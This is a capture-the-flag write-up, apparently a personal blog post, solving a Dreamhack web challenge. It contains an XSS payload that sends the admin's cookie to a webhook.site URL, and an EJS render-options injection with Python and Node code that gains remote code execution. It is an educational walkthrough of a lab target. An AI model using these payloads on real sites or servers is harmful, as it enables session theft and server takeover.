Post

Cat Cute!

Level 6 web exploitation challenge on Dreamhack.io

Cat Cute!

The Challenge

https://dreamhack.io/wargame/challenges/1005

Cats are cute.

Checking index.ejs:

1
2
3
<script>
    main.innerHTML=`<img class=background src=<%= src ?? "/static/cat.jpg" %>>`;
</script>

Obtaining XSS here is trivial; although src is escaped by EJS, we can inject our own Javascript onto the page by breaking out of the template string literal using a backtick (`)

Here is the payload that we report to the admin to obtain the cookie:

1
`;location=`https://webhook.site/f6073bfc-7366-4541-8b04-de22b6a37a2d?a=${document.cookie}`;`

Admin cookie PWNED!

The next part seems quite confusing as we can’t really do anything as the admin.

1
2
3
4
5
6
7
8
app.get('/admin', (req,res) => {
  if (req.cookies?.admin === adminCookie) {
    res.render('admin', {...req.query});
  }
  else{
    return res.status(403).send("You are not Admin!");
  }
})

However, passing unsanitized input into the options object (the second argument in res.render) is extremely dangerous; doing so can lead to RCE.

We can find a PoC for this exploit from a google search: https://github.com/mde/ejs/issues/720

Sending this in req.query lets us execute arbitrary Javascript:

1
2
3
4
5
6
7
8
9
10
11
12
params = {
    "settings[view options][client]": True,
    "settings[view options][escapeFunction]": """1; (code here); return "ok";"""
}

response = requests.get(
    'http://host8.dreamhack.games:24558/admin',
    params=params,
    cookies=cookies,
    headers=headers,
    verify=False,
)

Obtaining the flag is not so straightforward as we are actually inside an ES module (package.json):

1
2
3
4
5
6
7
8
9
10
{
  "type": "module",
  "dependencies": {
    "cookie-parser": "^1.4.6",
    "ejs": "^3.1.9",
    "express": "^4.18.2",
    "express-rate-limit": "^6.9.0",
    "puppeteer": "^21.0.1"
  }
}

This means that simple payloads like process.mainModule.require("fs").readFileSync(...) won’t work…

After a lot of trial and error (including attempting to use process.binding("fs").rename which failed miserably), I managed to prompt ChatGPT to give me this payload:

1
2
3
4
5
6
7
8
9
10
11
1;
(async () => {
  const fsModule = await import('node:fs');
  try {
    fsModule.renameSync('/app/flag.txt', '/app/templates/admin.ejs');
    console.log('renameSync OK');
  } catch (err) {
    console.error('renameSync failed:', err);
  }
})();
return "ok";

After submitting this payload, just reload the admin page and win!

Conclusion

Take home points:

  1. ES modules are difficult to work with
  2. When in doubt, prompt ChatGPT harder
  3. Prompting actually takes skill

After solving the challenge, I also realized that I could have just used the fetch API to send the flag to my own server…

This post is licensed under CC BY 4.0 by the author.

Trending Tags